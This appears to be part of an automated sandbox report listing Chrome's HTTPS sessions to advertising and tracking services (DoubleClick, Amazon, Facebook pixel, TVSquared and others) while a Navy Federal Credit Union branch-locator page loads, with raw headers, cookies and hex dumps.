toString=Object.prototype.toString;var REPLACERS={Date:function(key){var ms=this.valueOf();return isFinite(this.valueOf())?this.getUTCFullYear()+"-"+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
249	192.168.2.6	50161	35.204.89.238	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:19 UTC	638	OUT	GET /sifitag/601005f1-638d-45e3-9d29-e04168bb80b3 HTTP/1.1 Host: tag.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:19 UTC	422	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 24 May 2024 22:46:19 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 3101 Connection: close Vary: Accept-Encoding cache-control: max-age=0, private, must-revalidate x-request-id: F9KOOB6GUuRX2mBzWIhB Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT
2024-05-24 22:46:19 UTC	3101	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 70 61 72 73 65 49 6e 74 28 28 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 7c 7c 22 6c 6f 63 61 6c 22 29 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 31 30 29 2c 33 36 29 2c 63 3d 22 73 69 66 69 5f 61 74 74 5f 22 2b 62 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 5b 63 5d 29 72 65 74 75 72 6e 20 76 6f 69 64 20 61 5b 63 5d 2e 72 75 6e 28 29 3b 63 6c 61 73 73 20 53 69 66 69 43 6d 70 43 6f 6d 70 6c 69 61 6e 63 65 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 74 63 44 61 74 61 3d 61 2c 74 68 69 73 2e 73 69 66 69 56 65 6e 64 6f 72 49 64 3d 22 37 33 22 7d 63 68 65 63 6b 43 6f 6e 73 65 6e 74 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6f 75 74 4f 66 42 61 6e Data Ascii: (function(a){var b=parseInt((location.hostname\|\|"local").substring(0,10),36),c="sifi_att_"+b;if("undefined"!=typeof a[c])return void a[c].run();class SifiCmpCompliance{constructor(a){this.tcData=a,this.sifiVendorId="73"}checkConsent(){return this.outOfBan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
250	192.168.2.6	50163	142.250.186.34	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:19 UTC	1086	OUT	GET /ddm/fls/z/dc_pre=CNvcm_yup4YDFUlzQQId92gD5Q;src=9749892;type=gener0;cat=nfcu_000;ord=6875800667488;npa=0;auiddc=;ps=1;pcor=1576649674;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html HTTP/1.1 Host: adservice.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:19 UTC	529	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:19 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:19 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
251	192.168.2.6	50165	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:19 UTC	973	OUT	GET /iu3?d=generic&ex-fargs=%3Fid%3D6cb2375c-3341-8cb2-b12d-8b0616d5966e%26type%3D55%26m%3D1&ex-fch=416613&ex-src=https://www.navyfederal.org/&ex-hargs=v%3D1.0%3Bc%3D7933585099447%3Bp%3D6CB2375C-3341-8CB2-B12D-8B0616D5966E&cb=755192992926268200&dcc=t HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw\|t
2024-05-24 22:46:19 UTC	828	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:19 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 1864 Connection: close x-amz-rid: 3ADACDAZZVTRSV057QWX Set-Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 22:46:19 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Jul-2029 22:46:19 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:19 UTC	1864	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 22 3e 0a 3c 69 66 72 61 6d 65 20 77 69 64 74 68 3d 22 31 22 20 68 65 69 67 68 74 3d 22 31 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 73 72 63 3d 22 2f 2f 73 2e 61 6d 61 7a 6f 6e 2d 61 64 73 79 73 74 65 6d 2e 63 6f 6d 2f 76 33 2f 70 72 3f 65 78 6c 69 73 74 3d 6e 2d 78 72 2d 48 4d 54 5f 6e 2d 69 64 2d 48 4d 54 5f 6e 2d 65 71 2d 48 4d 54 33 5f 6e 2d 69 78 2d 48 4d 54 5f 6e 2d 79 2d 48 4d 54 5f 6e 2d 63 78 2d 48 4d 54 5f 6e 2d 74 65 6c 61 72 69 61 5f 69 6d 64 62 5f 6e 2d 6c 75 63 69 64 5f 6e 2d 73 61 6d 62 61 2e Data Ascii: <html><body style="background-color:transparent"><iframe width="1" height="1" frameborder="0" marginwidth="0" marginheight="0" src="//s.amazon-adsystem.com/v3/pr?exlist=n-xr-HMT_n-id-HMT_n-eq-HMT3_n-ix-HMT_n-y-HMT_n-cx-HMT_n-telaria_imdb_n-lucid_n-samba.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
252	192.168.2.6	50162	18.239.67.100	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:19 UTC	902	OUT	GET /up_loader.1.1.0.js HTTP/1.1 Host: js.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" If-None-Match: "a60a4e2650f94da6f243b9518761b381" If-Modified-Since: Mon, 20 May 2024 07:02:23 GMT sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRgBIAEoAjILCMS1iLXBk_48EAU4AVoHYmx1ZWthaWAC
2024-05-24 22:46:19 UTC	460	IN	HTTP/1.1 304 Not Modified Connection: close Date: Fri, 24 May 2024 02:56:10 GMT Last-Modified: Mon, 20 May 2024 07:02:23 GMT ETag: "a60a4e2650f94da6f243b9518761b381" x-amz-server-side-encryption: AES256 Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 5869d8337913ed7453262c3cf9c9a9e6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: Qb8yFSsNcy8tG6OXKq1ZTzVisVRlBlkvqxvDrc6ApOTNip9rK6bvvg== Age: 71410

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
253	192.168.2.6	50170	52.14.63.166	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:19 UTC	971	OUT	GET /tv2track.php?action_name=Find%20a%20Credit%20Union%20or%20ATM%20Near%20You%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=309707&h=18&m=46&s=16&url=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=1046 HTTP/1.1 Host: collector-11598.tvsquared.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:19 UTC	229	IN	HTTP/1.1 200 OK Content-Type: image/gif Date: Fri, 24 May 2024 22:46:19 GMT P3p: CP='OTI DSP COR NID STP UNI OTPa OUR' Request-Id: d1da3f8f-056c-4dde-930d-71726421f9bf Server: nginx Content-Length: 42 Connection: Close
2024-05-24 22:46:19 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 28 00 3b Data Ascii: GIF89a!,(;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
254	192.168.2.6	50171	52.14.63.166	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:19 UTC	971	OUT	GET /tv2track.php?action_name=Find%20a%20Credit%20Union%20or%20ATM%20Near%20You%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=425240&h=18&m=46&s=16&url=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=1046 HTTP/1.1 Host: collector-11598.tvsquared.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:19 UTC	229	IN	HTTP/1.1 200 OK Content-Type: image/gif Date: Fri, 24 May 2024 22:46:19 GMT P3p: CP='OTI DSP COR NID STP UNI OTPa OUR' Request-Id: 2a1b7c6c-8a34-4de9-8f9b-ece6da0cd413 Server: nginx Content-Length: 42 Connection: Close
2024-05-24 22:46:19 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 28 00 3b Data Ascii: GIF89a!,(;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
255	192.168.2.6	50167	157.240.0.35	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:19 UTC	706	OUT	GET /tr/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&rl=&if=false&ts=1716590775920&sw=1280&sh=1024&ud[external_id]=f0aa0b0ef2b818c452fbde7009d5d8692892d6ec679ef95b21188aec41c50366&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590775564&coo=false&dpo=&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:19 UTC	464	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=89, rtx=0, c=10, mss=1392, tbw=3404, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Fri, 24 May 2024 22:46:19 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
256	192.168.2.6	50169	172.217.18.6	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:19 UTC	936	OUT	GET /activity;register_conversion=1;src=9749892;type=gener0;cat=branc0;ord=3068759456016;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1864446130;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html? HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
2024-05-24 22:46:20 UTC	4572	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:19 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Attribution-Reporting-Register-Trigger: {"aggregatable_deduplication_keys":[{"deduplication_key":"11090659500879985752"}],"aggregatable_trigger_data":[{"filters":[{"14":["9171535"]}],"key_piece":"0x40a35730324b8bef","source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]},{"key_piece":"0x7bc3e935aba612cb","not_filters":{"14":["9171535"]},"source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]}],"aggregatable_values":{"12":65 [TRUNCATED] Content-Type: image/png Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Sun, 23-Jun-2024 22:46:19 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.6	50174	216.58.206.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:19 UTC	957	OUT	GET /ddm/activity/src=9749892;dc_pre=CNve6vyup4YDFTXLOwIdNMEJvA;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1? HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
2024-05-24 22:46:20 UTC	15893	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:19 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Location: https://ad.doubleclick.net/ddm/activity/attribution_src_register;crd=Zmxvb2RsaWdodF9jb25maWdfaWQ6IDk3NDk4OTIKYWR2ZXJ0aXNlcl9kb21haW46ICJodHRwczovL25hdnlmZWRlcmFsLm9yZyIKeGZhX2F0dHJpYnV0aW9uX2ludGVyYWN0aW9uX3R5cGU6IENPTlZFUlNJT04KZGVidWdfa2V5OiA2NDYyMjY2MzQ2MjgxOTMxNTk4CmN0Y19jb252ZXJzaW9uX2J1Y2tldDogMgphcmNoZXR5cGVfaWQ6IDEyCmFyY2hldHlwZV9pZDogMTMKYXJjaGV0eXBlX2lkOiAxNAphcmNoZXR5cGVfaWQ6IDE1CmFyY2hldHlwZV9pZDogMTYKYXJjaGV0eXBlX2lkOiAxNwphcmNoZXR5cGVfaWQ6IDE4CmFyY2hldHlwZV9pZDogMTkKYXJjaGV0eXBlX2lkOiAyMAphcmNoZXR5cGVfaWQ6IDIxCmFyY2hldHlwZV9pZDogNjI4NzI4Mzg4CmFyY2hldHlwZV9pZDogNjI4NzI4Mzg5CmFyY2hldHlwZV9pZDogNjI4NzI4MzkwCmFyY2hldHlwZV9pZDogNjI4NzI4MzkxCmFyY2hldHlwZV9pZDogNjI4NzA2MTgwCmFyY2hldHlwZV9pZDogNjI4NzA2MTgxCmFyY2hldHlwZV9pZDogNjI4NzA2MTgyCmFyY2hldHlwZV9pZDogNjI4NzA2MTgzCmFyY2hldHlwZV9pZDogNjI4Nzc0MDUyCmFyY2hldHlwZV9pZDogNjI4Nzc0MDUzCmFyY2hldHlwZV9pZDogNjI4Nzc0MDU0CmFyY2hldHlwZV9pZDogNjI4Nzc0MDU1CmFyY2hldHlwZV9pZDogNjI4NzkwNjA4CmFyY2hldHlwZV9pZDogNjI4NzkwNjA5CmFyY2hldHlwZV9pZDogNjI4NzkwNjEwCmFyY [TRUNCATED] Attribution-Reporting-Register-Trigger: {"aggregatable_deduplication_keys":[{"deduplication_key":"10152961480738975038"}],"aggregatable_trigger_data":[{"filters":[{"14":["13886426"]}],"key_piece":"0x3207ccec6325b791","source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]},{"key_piece":"0xefcb4e53dca91529","not_filters":{"14":["13886426"]},"source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]}],"aggregatable_values":{"12": [TRUNCATED] Content-Type: image/png Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Sun, 23-Jun-2024 22:46:19 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.6	50176	157.240.0.35	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:19 UTC	743	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&rl=&if=false&ts=1716590775920&sw=1280&sh=1024&ud[external_id]=f0aa0b0ef2b818c452fbde7009d5d8692892d6ec679ef95b21188aec41c50366&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590775564&coo=false&dpo=&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:20 UTC	2008	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net 'unsafe-inline' blob: data: 'self' 'unsafe-eval';style-src .fbcdn.net data: .facebook.com 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net wss://.facebook.com:* wss://.fbcdn.net attachment.fbsbx.com blob: .cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ .fbsbx.com;font-src data: .facebook.com .fbcdn.net .fbsbx.com;img-src .fbcdn.net .facebook.com data: https://.fbsbx.com facebook.com .cdninstagram.com fbsbx.com fbcdn.net blob: android-webview-video-poster: .oculuscdn.com;media-src .cdninstagram.com blob: .fbcdn.net .fbsbx.com www.facebook.com .facebook.com data:;frame-src .facebook.com .fbsbx.com fbsbx.com data: .fbcdn.net;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-in [TRUNCATED]
2024-05-24 22:46:20 UTC	1854	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2d 70 6f 6c 69 63 79 3a 20 66 6f 72 63 65 2d 6c 6f 61 64 2d 61 74 2d 74 6f 70 0d 0a 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 61 74 74 65 72 79 3d 28 73 65 6c 66 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 